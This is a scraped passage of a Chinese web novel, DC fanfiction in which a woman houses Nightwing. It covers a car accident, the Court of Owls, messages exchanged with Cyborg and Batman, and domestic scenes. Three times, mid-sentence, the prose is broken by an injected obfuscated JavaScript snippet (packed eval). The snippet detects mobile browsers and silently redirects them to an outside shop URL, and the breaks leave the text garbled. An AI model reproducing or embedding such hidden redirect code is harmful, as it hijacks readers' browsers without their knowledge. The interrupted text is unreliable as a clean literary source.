腰也不酸了与地面亲密接触的屁股也不疼了,脑子里那个反复出现的惨白人脸也变成一个大白面饼子长着翅膀飞走了,一切都没有比进局子喝茶来的重要。 “回家再说,你先回去。” 我推着迪克的后背,迪克有点不太情愿的样子,但还是拗不过我,乖乖地走进咖啡厅,但仍旧隔着玻璃看着我,刚刚那一幕大概是让他有点应激了。 两个警察从警车里走下来,联袂而至的还有几个行色匆匆的医护人员,他们从那辆suv的驾驶位上抬下来一个浑身是血已经昏迷过去的男人,就算隔着十几步远都能闻到一股浓重的酒臭味。 我有点不敢看那血肉模糊的影子,也被那股臭气熏得有点难受,一时半会没靠近那边,所以警察最先找上的是那对母女。 中年女人终于安抚好了孩子,警察找到她说了些什么,一边点头一边在本子上记录,然后看向我,向我走过来。 “您好,同志,我们是派出所的民警,方便了解一下情况吗?” 接下来几分钟里,警察问了我一些事故发生时的细节,在了解到我及时拉开那对母女的时候,还关心地问了我是否有受伤,那边的医护人员还留下来一个为我和那对母女查看了一下身上的伤口。 我没有受什么伤,也就是摔倒在地上的时候尾椎骨亲密接触了一下大地,不过现在是夏天,摔了也不怎么疼,现在甚至没什么感觉了。 警察点点头,找我要了电话号码和身份证号,并告诉我一旦后续有什么身体不舒服的情况需要及时就医,就坐上车匆匆离开了。 中年女人领着孩子走过来,估计是见我脸上还是有点不太好看,往我手心里塞了一把水果糖。 “谢谢你啊,如果不是你我和小宝今天都要出事情,这些糖你拿去吃吧,我看你脸色太差了。” 中年女人还想要我的微信,说之后给我送点东西,我连忙拒绝了,毕竟救人是我的本能,能救到人就已经是老天给我的奖励了。 目送那对母女离开,我才终于长吁一口气。 经历了这么一遭,我也不打算在外面多待,现在只想着准备回家去躺着休息。 “我跟你一起回去。” 迪克的声音从我身后传来,他已经换下了那套制服,换回了自己的衣服,拿着外套匆匆走到我身边,相当自然地接过我手里的包。 “走吧,你应该回去看点开心的小视频,我给你打包了一份热可可,喝完了睡一觉会舒服很多。”他觑着我脸上的神色,见我没有太大的反应,这才勉强放下心,将温热的纸杯塞进我的手里。 我有点不好意思,“你就这么走了,店长同意吗?这个点还不是下班时间吧?” 而且还打包了一杯热可可,这都是需要员工自己掏钱的吧,还没挣到钱就开始花钱了,让我有一种欺负人的错觉。 “没关系,我的工资是日结,按照小时计费,今天挣了一百多块钱,可以请你吃顿饭了。”迪克笑的露出大白牙,“我跟店长说要早点回去照顾家人,她很慷慨的同意了,所以这都不算什么,已经比我之前的工作要轻松很多了。” 布鲁德海文的警察局对于小警员的工资开得并不算高,不过迪克也并不全靠这点工资吃饭养装备,只不过他为了义警工作而舍弃掉了大部分的休息时间,所以总是显得很紧迫——更极端的情况是他一天可能都睡不够四个小时,每天上班都像上刑。 现在他在这个世界可以睡满八小时,简直是天堂,他可以把之前缺的觉都补回来。 后半句他说了啥我已经听不见了,我只听到了“照顾家人”那四个字。 家人,谁?我吗? 你们美国人好没有边界感,家人这个词是可以随意说出口的吗? 我讷讷地说不出话,只好把大蓝鸟的这一行为当做雏鸟情节,我是饲养者,他是意外飞到我家的小鸟,说是家人也没问题。 嗯。 我又淡定了,捧着热可可的手又换了一边,虽然大热天的和热可可有点奇怪,但这可是小鸟送给饲主的心意。 等回到了家,我到卫生间洗了一把脸,看着镜子里我的脸色好看了许多,已经恢复了往常的红润,这才回到客厅坐下。 迪克将外套整理好挂在门口的衣帽架上,转头去厨房抱了一个柚子回来,拿着小刀开始剥柚子。 我们一个人看着另一个人剥柚子,除了柚子皮的清香味散发开来,一时间谁也没有说话。 我知道迪克是在耐心地等我开口去讲刚刚看到了什么,所以在我整理好心情之后,将刚才从意外发生开始到结束我看到的车窗倒影里的惨白面庞事无巨细的都说了一遍。 迪克安静地听着,并没有打断我。 我口干舌燥的说完,拿着剥好的柚子放进嘴里。 我平静地将柚子咽下去。 好酸! “你知道那是什么吗?”我问迪克。 漫画里呈现的人物和现实里的人物形象相差还是太大了,就像我那么熟悉蝙蝠一家,也不可能在迪克刚出现在我面前的时候就立刻认出他是理查德·格雷森。 但是倒映在车窗上的那张脸,我却总有一种熟悉的感觉,就像是在哪里见过似的,但一时半会又想不起来到底是在哪里见过。 迪克擦了擦手,抽过旁边的纸笔,在上面画了一个圆圈,填上两个对称的圆圆的黑洞,中间的部位画上一个尖尖的鸟嘴。 “是这样的脸吗?”他问。 说实话,迪克的画技有点抽象,我用我十几年的绘画经验才勉强能辨认出他画了个人脸。 我接过笔,又给这张脸上增添了几笔,最醒目的就是贯穿整张脸的一条斜线,像是一道陈旧丑陋的疤痕。 霎时,整张脸就像是活过来一样,黑洞洞的两只眼睛闪烁着阴蛰冰冷的光。 “是这样的,还要再凶狠一点。” 迪克盯着那张纸,就像是看到了什么不可言说之物,表情有点一言难尽。 我睁大眼睛,眼神凶恶起来,“......不至于吧,我的画技很好的,你这种表情是在挑衅我吗?” 今天迪克要是敢在我面前说我的画技不好我就把他赶去阳台喂蚊子!就算是夜翼也没办法抵挡的超级无敌剧毒大花蚊子! 迪克打了个激灵,“没有!我的意思是你不觉得这张脸很眼熟吗?” “我也觉得很眼熟,但是一时半会想不起来。”我再次低头去看那张纸,就看见迪克伸手,将那张纸拿了起来,放在自己的脸侧。 “这样呢?”迪克说。 我看着那张纸,又看向迪克。 哈哈,我大抵是被车撞傻了吧,为什么我看到这个画的很抽象的脸很像迪克呢。 半晌,我揉了揉眼睛。 仔细想想,DC的反派里,能跟迪克·格雷森扯上关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17001270|193922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 系的有两个,一个是一生热爱跟蝙蝠侠抢孩子的丧钟,另一个就是猫头鹰法庭。 白色的脸,黑洞洞的眼眶,尖尖的嘴。 我色厉内荏地缩回了沙发里,“你现在就坐在那,先别动,告诉我你到底是不是真的迪克·格雷森?” Mamamia,我不会真的看到的是一只利爪吧? “你原本可以装傻的,”迪克眼珠子微不可察地转动了一下,收起了笑容,脸上的表情突然变得冷漠起来,那双一向带着笑意的蓝眼睛被一层阴翳覆盖,就像是画上那样阴冷地盯着我。 “不过既然已经被你发现了,那就把命留在这里吧!” 他扑了过来。 我被吓了一跳,下意识地就想要往后缩,就在千钧一发之时,大门口传来敲门声。 迪克的手停留在半空,我趁机转身一扭从他胳膊和沙发的空档里钻了出去,连滚带爬地想要找机会逃跑。 可惜虽然我平时有好好锻炼,但很明显没有体术天才格雷森来的灵活,他长臂一伸就捞住我的手腕,将我拉了回来。 不愧是怪力罗宾,怎么那么大劲儿! 我张嘴就咬,嘴落在实处的时候,听到耳边传来了吸气声。 “嘿,你也太用力了,好痛。”迪克抽着冷气松开我,我一骨碌滚落在沙发上,瞪着眼睛看着他手臂上被我咬出来的圆形齿痕。 “谁让你吓唬我的,活该!”我没好气地从沙发上爬起来,现在我算是知道迪克在逗我玩了,就是这逗人的方式也太惊悚了。 “那你呢,现在有没有感觉好一点?”迪克认真地问。 我一愣,在意识到他是想通过这种方式让我放松一点,而记忆里那张惨白的脸似乎也没有那么恐怖了。 “......没有。” 我抿起唇,有些慌乱地将有些凌乱的头发整理了一番,门口再次传来门铃声。 “来了来了!” 我在猫眼里看了一眼,在看到对方身上的衣服之后这才打开门,是我从网上买的快递到了,快递员费劲地抱着一大个箱子等着我签收。 送走了快递员,我看着门口的空地上堆着的几个箱子和包裹,迪克已经非常自觉地走过来帮忙拿东西。 “你们这里的快递可真迅速。”迪克看着包装袋上的日期忍不住感叹。 我拆开一个包裹,里面是一套夏季睡衣,之前在商场忘记给迪克买了,后来想起来就给他补上的。 “你去试试看,网购的尺码总是有商家自己的一套标准,我总是弄不清,还是得买回来试过了之后才能知道究竟合不合适。”我把衣服扔给迪克,然后继续去拆下一包。 不过尺码货不对板这种情况通常发生在女装这边,不知道男装会不会也出现这种问题。 “噢。” 待我看清现在手里这个包裹上的名字之后,忍不住露出一个微笑。 那是我新买的用于收藏用的夜翼V4/80期封面刊。 漂亮的蓝色人影逆着光倒立在晾衣绳上,他的身形舒展体态健美,用手脚连接绳索撑起出一个大大的蓝鸟图案,夕阳的光辉穿透高层建筑的屋顶照射过来,将整个画面分割成明暗交汇的鲜艳/图块,让人一眼就忍不住心生喜爱。 虽然这本刊的价格昂贵到令人咂舌,但我还是心动不如行动地迅速从某平台把这本刊物漂洋过海地买了回来。 实物图亲身上阵告诉所有看到他的人什么叫用美貌霸凌全世界。 这就是。 15.015 我将刊物小心放进书架,继续拆包裹。 剩下的东西都是一些零零碎碎的日常用品,除去洗衣液洗发露沐浴露这些,还有一些给迪克买的鞋袜之类的。 “怎么样?” 迪克探出一个脑袋,非常大方地在我面前转了一个圈,我揪起衣角看了看,“这件睡衣的材质我买的是纯棉的,摸起来质感不错,尺码也合适,那就留下吧。” 我一锤定音。 等到把东西都归置好,我们这才再次回到客厅的沙发上,那张画了人脸的纸惨兮兮地落在地毯上,被我捡了起来。 “好了,这下总该认真讨论一下这个了吧。”我抖了抖纸,铺平在桌面上。 “之前我确实追查过猫头鹰议会。”迪克看着人脸上的疤痕说:“在我完成37号特工任务拿回我的名字之后,我和猛禽去追查了猫头鹰议会,但是结果不太理想,我和猛禽的合作非常,非常,呃。” 迪克想了想,像是想要找到一个合适发词汇来形容那次去追查猫头鹰议会的行动,但他失败了。 但是看过漫画的我已经知道迪克想要说什么,毕竟他所遇到的现实比我在漫画里看到的血腥场面还要血腥一百倍。 “但是猫头鹰议会主要的方向是人体实验,这跟目前我遇到的情况并不是很相干。” 我不知道猫头鹰议会究竟是哪根筋抽了,决定放弃继续批发冰冻活死人和基因改造怪物,转而搞起次元空间,总有一种清末八旗子弟突然玩起高科技全息游戏一样荒谬。 真的不是被蝙蝠侠气的失去理智决定转专业搞一些抽象活来逗乐子的吗? “有一点或许你没有注意到?”迪克说:“如果让你看到另一个世界的人需要你的能力,牠就不太可能让你现在就出事情,毕竟谁也无法保证你死了之后这个能力是否存在。” “嘿,说话小心点。”我把手上拿着的柚子扔到迪克身上,“我还没死呢!” 迪克不好意思地接住柚子,“抱歉我下次注意。” 他把手里那瓣柚子塞进嘴里,然后我成功的看到了他被酸到皱起了脸,诡计成功的我成功报复了刚刚吓我的仇,得意洋洋地咧开嘴笑了起来。 “好酸。”迪克口齿不清地给自己倒了一杯水咕咚咕咚灌了下去,有些不理解为什么会有这么酸的柚子。 “因为是我姥姥从乡下送过来的自家种的柚子,用来放着留香的,我放在这快半个月,结果你今天手快就给剥开了。”我笑嘻嘻地撑着脑袋欣赏他皱着的脸。 好吧,有时候太勤快也是一种错。 迪克缓过劲来,幽怨地将那盘已经剥好的柚子推远了一些。 “别扔了,等会我拿去做点柚子酱。” 说回正题。 “所以还有另一个派系的人存在,牠跟猫头鹰议会有理念冲突?”我接着迪克之前的话往下说下去。 “目前来看是这样的,还记得之前两次看到的景象吗,那两次都没有对你产生任何威胁,但这次不一样,他们可以直接通过这个来威胁到你的安全,尽管只是让那个醉驾的司机调转车头踩死油门。” 但这样的威胁也足以杀死一个生活在和平社会没有多少危机应变能力的普通人了。 “只不过这一次初步尝试失败了,”我若有所思,“我居然能及时避开,是因为他们的准头不太好吗?” “不。”迪克摇了摇头,“还记得上次在浴室里我说的那样吗,很可能是因为你的能量不够了。” 因为能量不够了,所以只能做到这样,连准头都顾不上。 所以这是在抽取我的力量用来攻击我吗? 我瞠目结舌。 迪克摩挲着下巴思索着,一时没有说话。 我试探性地举起手,“要不我们再坐一次实验呢?看看能不能看到什么不一样的。” 迪克非常果断地拒绝了我的提议。 “不可以,上一次尝试有可能已经耗费了你的能量,如果再试一次难保不会透支,谁也不知道你透支力量的后果是什么,但我见过很多超能力者透支力量之后的惨状。” “那怎么办,如果我的能力一直没有足够能量的话,就算是现在两个世界的维度已经建立链接了,没有一个拥有传送能力的人你也没办法回去啊。” 我往后靠进沙发里,摊成了一张饼。 头好痒,我的脑子好像要长出来了。 “滴滴滴!” 就在迪克张开嘴想要说什么的时候,一声非常刺耳的警报声突然从次卧传来。 我和迪克对视一眼,立刻反应过来是迪克制作的信号接收器发出的声音。 于是这件事就暂时搁置,等找到别的线索再作打算。 几分钟后,两个毛茸茸的脑袋凑到电脑旁边,看着上面依旧密密麻麻的数据流,迪克在认真的敲键盘,而我完全看不懂,纯看热闹。 “怎么样怎么样,有信号吗,可以联系上钢骨了吗?”我期待的苍蝇搓手手,“要是联系上了可不可以帮我要个蝙蝠侠的手写签名啊,我不干什么,我就供起来天天看!” 迪克噼里啪啦地敲键盘,也不知道是真没听见我说的话还是故意装没听见。 我不满地戳他的后背。 噫,好硬的背肌。 迪克最后敲了一下回车键,电脑屏幕上的数据流突然停滞一瞬,然后飞快地闪烁起来,随即出现了一个小小的对话框。 绿色的小字跳动着,下横线后连接着一串星号键,附带数字百分比的进度条。 进度条走到一百的时候,对话框消失,一行英文字母缓慢地被自动敲出。 字体实在是太小了,我眯着眼睛看了一会,终于慢慢拼成一句完成的话。 “夜翼失踪已达48小时以上,暂无异常,收到消息请回复,坐标(684,715)_钢骨。” 两边的时间流速果然是一样的。 我在心里计算了一下时间,迪克穿越到这里确实已经两天多快三天,中间的误差也不超过五个小时,大概是发送信号中间耗费了一部分时间。 “这个坐标是位面坐标吗,总感觉好普通的样子。”我有点失望地坐回软榻,看着迪克开始写回复。 “已到达地球48小时,一切平安,注意猫头鹰议会,次元墙,坐标高维(1044,3673)_夜翼。” “签名,签名,求你了。”我在他旁边做小狗作揖的动作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17005849|193922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,目露渴望。 迪克回头神色莫名地看了我一眼,然后很不情愿似的在句子里加入了几个单词。 “已到达地球48小时,一切平安,注意猫头鹰议会,次元墙,需要蝙蝠签名,坐标高维(1044,3673)_夜翼。” 我心满意足地坐到了飘窗上,扒着桌子边缘看着迪克点下回车键,对话框化作一道流光消失在数据流里。 嘻嘻,我即将成为拥有蝙蝠侠亲签的女人。 我将亲手把亲签裱起来,挂到墙上,等我死了这玩意就挂在我的墓碑上,我要所有人都来参观我的墓碑! 嘴角的笑容即将压制不住,我按捺下心中的雀跃,“怎么样,这下你该放心一点了吧,钢骨都说了暂无异常,说不定你很快就能回去了。” 迪克放下笔记本,幽幽地问道:“我这么快回去了你很高兴吗,安?” 我心头一跳,不明白他为什么突然要用这样的语气问我,难道是因为觉得我想赶他走,生气了? 我小心地觑着他,没从他的表情上看出什么异样,大概是我想多了吧。 随即迪克就幽怨地用手捂住脸,“你都还没有找我要过签名呢,明明夜翼也是一个很受欢迎的义警,你说过你也很喜欢夜翼的!” “我什么时候说过了?”我震惊,“你怎么可以凭空污人清白!” 迪克用生疏又怪异的中文一字一句道:“只见新人笑,不见旧人哭。” 喂!这句话是这样用的吗?! 还有你的蹩脚中国话口音也太奇怪了吧! 这个夜翼坏掉了吧,绝对是坏掉了吧。 我张了张嘴,干巴巴地“啊”了一声,迟疑地伸出手去,轻轻盖在他的脑袋上,安抚性地揉了揉。 别说,手感怪好的,毛量大而蓬松,就是发质偏硬,一看就是个犟种脾气。 “那,那你也给我签一张?” 我还能怎么办呢,只能选择把他溺爱。 迪克抬起头,我的手也被迫顺势落在了他的脸侧,那双漂亮多情的眼睛就这么看着我,露出计谋得逞的笑意。 “好的,那就说定了,我的签名你也要裱起来,跟布鲁斯的签名放一块。” 我无语地收回手,敷衍地点点头,感觉一腔怜爱都喂了狗。 不过肉眼可见的,获得原本世界的传讯让迪克整个人都轻松了起来,感觉头上的呆毛都精神了不少。 接下来的两天我都没有再见到什么异常的情况,迪克彻底在小区对面的咖啡厅安置下来,每天晨起跑步锻炼,回来会用工资给我买早餐,吃完早餐出门去咖啡厅上班,下午六点左右回家,还不忘给我带杯店里的咖啡或是甜品,像极了饲养的小鸟叼猎物回来给主人投喂。 我对这些“孝敬”一并笑纳,并没有感觉到有什么问题。 “你这问题大了啊!” 周末的时候,闺蜜燕梓一脸无语地戳我的额头。 “给我保持警惕啊,不要被漂亮野男人迷的魂都飞了好吗。” 野男人,谁,迪克吗? 我严肃地反驳了闺蜜形容不严谨的地方,“什么话什么话!他才不是野男人嘞,他明明是我养的漂亮小鸟!” 16.016 “你听听这像话吗?” 闺蜜忍无可忍的吐槽,“178厘米175磅的小鸟?” “怎么啦,他就算长得再大只也是漂亮小鸟,我可是看着他长大的啊!”我不满地反驳。 “初代罗宾的出道时间比咱奶出生年纪都早吧!”闺蜜犀利的点评,“你究竟是看着他长大的,还是看着他长大的?” 中华文化,博大精深,双关语都设置的如此巧妙。 “跟你这种完全不懂的人拼了,你也没比我好哪里去吧,天天抱着上个世纪的一群蹴鞠老头视频哭的人不配这样说我。”我冷酷无情地选择迎头痛击我闺蜜。 她一秒钟破防,被平a打出了成吨的爆伤。 “什么啊,不是老头是帅哥啊,是意足奢啊你这个没品的混账!37度的嘴怎么可以说出这么冰冷的话!” 我对着她挑衅地呲牙一笑,闺蜜冲过来梆梆敲我脑壳。 为了维持我们雨打风吹摇摇欲坠的友谊小船,我们默契的选择不再互相伤害。 “给,我这些天空闲下来做的流麻亚克力砖,图是你上回点的cp向,还有拼贴谷美,本人亲手画完制作的,别太谢我。”我得意洋洋地拿出准备好的东西,塞到闺蜜手里,她下一秒由阴转晴,抱着我的脸猛亲一口。 “爱您,您就是我伟大的神!” 香风袭来,我嫌弃地擦擦脸,看着闺蜜一脸沉醉地翻看着那堆亚克力砖,伸出手勾勾手指。 “我的呢?” 闺蜜头也不抬地从带来的手提袋里掏出一个包装的严严实实的大包裹。 我惊讶地戳戳包裹,“怎么这么大?” 闺蜜终于舍得分一个眼神给我,“当然咯,你要的精品定制款,我可是砸钱搞来的,从皮料到配件都是一点点缝制装配的,要不是你中途把角色从蝙蝠侠改成夜翼,早几天就能给你了。” 我感动极了,“我没了你可怎么办呀宝贝~” “去,去,一边去。”闺蜜像是赶小狗一样把我赶到一边,在逐个欣赏完流麻之后,这才屈尊降贵地打开车门。 “走吧,先去压马路。” 我把包裹扔进车后备箱,瞄了一眼后视镜里我的妆容都没花之后,这才美滋滋地跟上她。 “话说,你真的就打算这么养着夜翼?真的不会有什么危险吗?”闺蜜还是有点担心我的人身安全,憋了一会还是没憋住问了出来。 我摇了摇头,隐瞒了遇到车祸的事情,这种吓人的事情就没必要跟闺蜜讲了,免得她又揪着我的耳朵耳提面命让我长点心。 因此,我故作轻松地打哈哈,“没问题的,他来到这个世界只是一个意外,很快就会回去的,对我来说算是个惊喜吧,毕竟不是谁都有机会近距离跟喜欢的纸片人接触的,更别说还能养。” 我嘿嘿笑,忍不住回味,“这种感觉超棒的!” 闺蜜眯起眼睛,审视地用目光上下扫视我,“你不会动心吧?别怪我没有提醒你,夜翼在感情方面就是个毛线团,剪不清理还乱,你才谈几个,能玩得过他?” 她说:“小心被骗身骗心还帮着他数钱。” “怎么可能,我是那种搞不清状况的人吗。”我说:“就算我现在处于空窗期,也不可能随随便便喜欢上一个随时都会离开的男人。” 闺蜜脸上的神情融化了些许,她摸了摸我的脑袋,“看来这种意外并没有给你带来多少困扰?” “当然。” 我拉着她走进商场的B1通道,拍着胸脯跟她保证我绝对安全,我们现在已经找到线索,很快就可以让一切回到正轨,到时候他继续去当布鲁德海文的超级英雄,我继续我的自由职业生涯,等到攒够钱就提前退休,找一个山清水秀的地方养老。 “你这话好像flag,建议别说了,省得你之后被回旋镖痛击。”闺蜜吐槽。 有关迪克的话题在我和闺蜜的谈话间并没有占据太多时间,转而开始聊及之后同学会的事情。 同学会的时间就定在下周六中午,地点在距离我家半个多小时车程的某处高档饭店包厢内。 “班长一个人订的包厢?”我有点惊讶,还以为这笔钱会是参加的同学们aa呢,“这有点不太好吧?” 闺蜜站在穿衣镜前对比着两条连衣裙,漫不经心地回答我的疑惑,“这有什么不好的,你就是两耳不闻窗外事,天天就盯着画板看,就连这次为什么会举办同学会都不知道吧。” 我:“......啥?” “哪条颜色更好看?”闺蜜将裙子怼到我面前。 “豆绿,这个色显白。”我瞥了一眼裙子就立刻得出了答案,闺蜜满意地拿着豆绿色的那条走进更衣室,我还没从她嘴里得知我不知道的八卦,心痒难耐地跟在她身后亦步亦趋。 “所以到底是什么啊,你说一下嘛。” ...... 一个白天的时间过得飞快。 当我开着车把闺蜜送回家之后,已经是下午六点左右,算算时间这个点迪克应该已经下班了,果不其然,当我把车停进地下车库的时候,手机传来震动声。 我拿起手机一瞧,不出意外是迪克发来的信息。 他发消息问我今天晚上回来吃饭吗,可以做饭给我吃。 啊,居然还是没有放弃做饭这个事情吗? 我刚想要婉拒,就看见他又发过来一条信息。 蝙蝠侠的签名到了。 我睁大眼睛,立刻觉得什么做不做饭的都无所谓了,今天迪克就算是做一锅魔药我也能面不改色的吃下去。 “吃,我很快就到家了。”我顿住,想起那个包裹,又噼里啪啦打字,“还给你带了礼物。” 等等这个场景好奇怪,我仿佛成了什么晚间八点档剧集里上班回家的丈夫,妻子在家里等我回去吃饭,而作为丈夫的我为了感谢妻子操持家务所以买了礼物什么的......算了还是别想了。 为了早点见到蝙蝠侠亲签,我从后备箱拿出包裹就迫不及待地走上电梯。 “下午好,安,你回来的真早。” 今天开门的迪克浑身还带着湿气,看起来像是刚洗过澡,穿着我给他买的纯棉睡衣站在玄关,非常顺手地就接过了我手里拎着的包裹。 靠近他的时候,我还闻到了他身上传来的热气和沐浴露自带的柠檬香。 随后,我的手里就被他塞了一个东西。 我低头去看手里的那个小铃铛挂件。 广而告之,我家养的小鸟会给饲主带礼物了喔。 叮叮当当的声音清脆悦耳,我稀罕地翻看了一会,笑看他,“怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17010633|193922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么想起来给我送礼物?” 迪克弯起眉眼,“毕竟是安收留了我这么久嘛。” 他顿了顿,指着那颗铃铛说:“我在里面做了一些小改动,做成了一个危险警报器,一旦你遇到了危险,就按这里。” 铃铛的挂扣上有一个很小的凸起,只需轻轻一按,“咔哒”一声锁舌扣动,迪克给我展示手机的屏幕上就跳出一个警报弹框。 “如果遇到像上次那样的情况,只要按下这个按钮,我都会及时赶到。” 我二话不说将铃铛直接挂在我的手机上,对着迪克晃了晃,“我收下了,那你一定要及时赶到救我啊。” 补兑,为什么我今天如此自然的立下了这么多的flag? 我警醒起来,又朝迪克伸出手。 “蝙蝠侠亲签呢?让我康康。” 说起这个,迪克的脸色变得有点奇怪,我们两个再次凑到电脑前,这一次屏幕上面不再只有平人眼花缭乱的数据流,而是多了一个小小的固定区域。 “这个电脑的基础配置已经到达极限了,再用三次就会彻底报废。”迪克有点不太好意思,就连敲键盘的动作都放轻了不少,这几天住在我家里实在是弄坏了不少东西,他从未有那么一刻意识到他所习惯的装备用一次就报废对于普通人的生活来说多么的奢侈。 “没关系,我已经得到了最好的补偿不是吗,更何况这个电脑可以参与到夜翼跟蝙蝠侠的交流之中,已经物超所值了,你不用太在意。”我无所谓地摆了摆手,要知道蝙蝠侠使用的电脑可是蝙蝠电脑,夜翼是蝙蝠崽,同理可得夜翼使用过的电脑也是蝙蝠电脑。 这个笔记本就算是坏掉我也不会扔的,那可是蝙蝠电脑诶,买谷人这辈子最拒绝不了的是什么,是限量绝版美貌孤品。 对于我来说,失去的钱可以再赚,但失去的限量绝版吧唧我会痛心一辈子,临终前都要爬起来跟人哭诉当年错失的那些海景房。 迪克欲言又止。 固定的那几个数字被点开,一张不算特别清晰的图片出现在我面前。 准确的来说,那并不算是一张签名,毕竟上面写了不少东西,这一点可以理解,既然跨位面联系如此不便,能多写点是一点。 那是一张天书。 我看了两眼,很快就被上面晦涩复杂的专业名词迎面打了一拳,眼冒金星地跌坐在飘窗上两眼发直。 “那上面写了什么?” 卑微的文科生发出丈育绝望的疑问,这一刻我终于理解刚刚迪克为什么在听到我要签名的时候一脸欲言又止。 原来是在怕我看不懂啊,他可真是个好人。 “专有名词。”迪克小心地看了我一下,似乎是不知道该怎么用大白话跟我解释,“这张图纸是钢骨制作出来的,布鲁斯在上面做了新的标注,他们用这几天的时间计算了一遍两个维度的差值,然后准备制作出一条一次性的单向通道。” “当然,如果你看不懂的话也没关系,bat的签名就在最下面,在这里。” 迪克的手指指向天书的右下角,那里确确实实存在着一个我唯一看得懂的单词。 Bat. 短短三个字母被写的很优美,铁画银钩力透纸背,仅仅是隔着图片,我几乎都能感受到属于蝙蝠侠的气势扑面而来。 17.017 “......”我深吸了一口气,谨慎地看着那个签名,“可以打印下来吗?我发誓我会好好保存的。” “咳,当然,” 迪克点了点屏幕,“整张,还是......?” “整张。”我目光毒辣地辨认出整个图片上的文字注释都是蝙蝠侠的笔迹,这就跟一本我辛辛苦苦漂洋过海买回来的某明星自传一样,看不懂,但我可以收藏。 这个以后也要裱起来挂在我的墓碑上。 “包在我身上!”迪克很快就将那张图下载下来,传送到我的手机里,再启动我放置在次卧角落里的打印机,很快就打印出一张完整而清晰的图纸。 我一口气加印了三份,等着之后做一副拼贴剪报出来,其中一张给了迪克。 “你们已经商量好该怎么制作这个单向通道了吗?”我好奇地问。 “还没有,还是那个问题,因为我们需要商议这个单向通道的大小,以及测量你的能力究竟在这其中起到多少作用。”迪克指着图纸其中一个单词,“所以他们现在正在做实验,这个过程中需要我确保你的安全。” 我知道这件事并不是一蹴而就的,不过现在既然已经联系上了,那距离成功也就不远,我一向对蝙蝠侠报以最高的信任。 “需要我配合做些什么吗?” “正常生活,好吃好睡,保持联系。”迪克摊手,“心情愉快。” “好了,你晚上回来之前是不是还没有吃饭,我这次做了最简单的水煮西蓝花和煎肉排,冰箱里的酸奶告罄了,我新买了一板无糖酸奶,晚上吃这个非常健康。” 迪克拉开厨房门,给我展示他热在锅里的晚饭,兴致勃勃地给我安利他的手艺。 这次的菜跟上次一样,在卖相上都看起来很不错的样子,至少闻起来也挺香的。 我选择再信迪克一次,虽然夜翼的刊物我看的不多,但万一这只蓝鸟的设定就是会做饭呢? “好吧,那就开饭。” 当我夹起西兰花放到嘴里之后,眉头一跳。 味道还行,但是有点淡了。 再尝尝肉排。 也很淡,但是意外的味道也还行。 我抬起眼帘看向迪克,他一只手撑在桌子边缘,期待地看着我的动作。 确认过眼神,是会做饭的鸟。 蝙蝠,我家小鸟会做饭了喔。 那种语气。 “所以你上次是怎么把微波炉炸了还把鸡蛋做成橡胶的?” “咳,微波炉那次我是真的忘记了,鸡蛋那次是因为我把微波炉炸了,把调味料弄混了,我还有点不熟悉瓶子上的标签,把红薯粉和糖的混合物当做盐放进去了。” “......我没中毒真是命大啊。” 我给他竖了一个大拇指,“请继续保持,以后等你回去了厨艺可以更上一层楼。” “其实我没有太多时间做饭的,你应该知道,我的睡眠时间严重不足,大部分空闲时间都用来补觉。”迪克耸肩,有些哭笑不得。 “布鲁德海文的工作很麻烦吗?”我问道。 漫画里对于迪克白日里警察的工作大部分都是一笔带过,我只能看到他每天早晨匆匆忙忙去上班,在上班时间困得能直接一头栽倒,晚上穿上制服打击罪犯的身影,关于白天的工作部分全靠我脑补。 按照夜翼v4里的说法,布鲁德海文是一座灰色的城市,这里没有哥谭阔佬,有的只有一群除之不尽的灰色产业,赌场,权色交易,地下拳场,刑法上什么赚钱快就来什么,一个小小的海滨之城在失去了最初的经济优势之后,愈发堕落成黑夜里的一道阴影。 “警察的工作都不算轻松,不过对比哥谭来说还是轻松许多,更多的是不断地重复枯燥的追捕和归档,那里的法律并不健全,往往上午抓进去的罪犯下午就无罪释放了。” 迪克说着,脸上难得流露出一种沉郁之色,但很快他就又轻松起来,“不过我穿越来到这里之前,布鲁德海文已经有很长一段时间风平浪静,没有多少超级罪犯来闹事,我也难得有休息的时候。” “结果一觉睡醒就穿越了?”我揶揄地笑了起来。 看到我作怪的笑容,迪克不知为何也跟着笑,我们俩坐在座位上像两个没心没肺的乐高小人一样面对着面笑了许久,直到我揉着有点发酸的肚皮站起身去收拾碗筷。 “今天我去洗碗吧,你可以先去拆我今天带回来的包裹,那是给你的东西。” 我示意对方去看放在客厅边缘的包裹,感受到迪克好奇的视线,我保持神秘地飞速躲进厨房,坚决不在迪克拆开那包东西之前透露那是什么。 生活就是这样的,需要一点小小的惊喜。 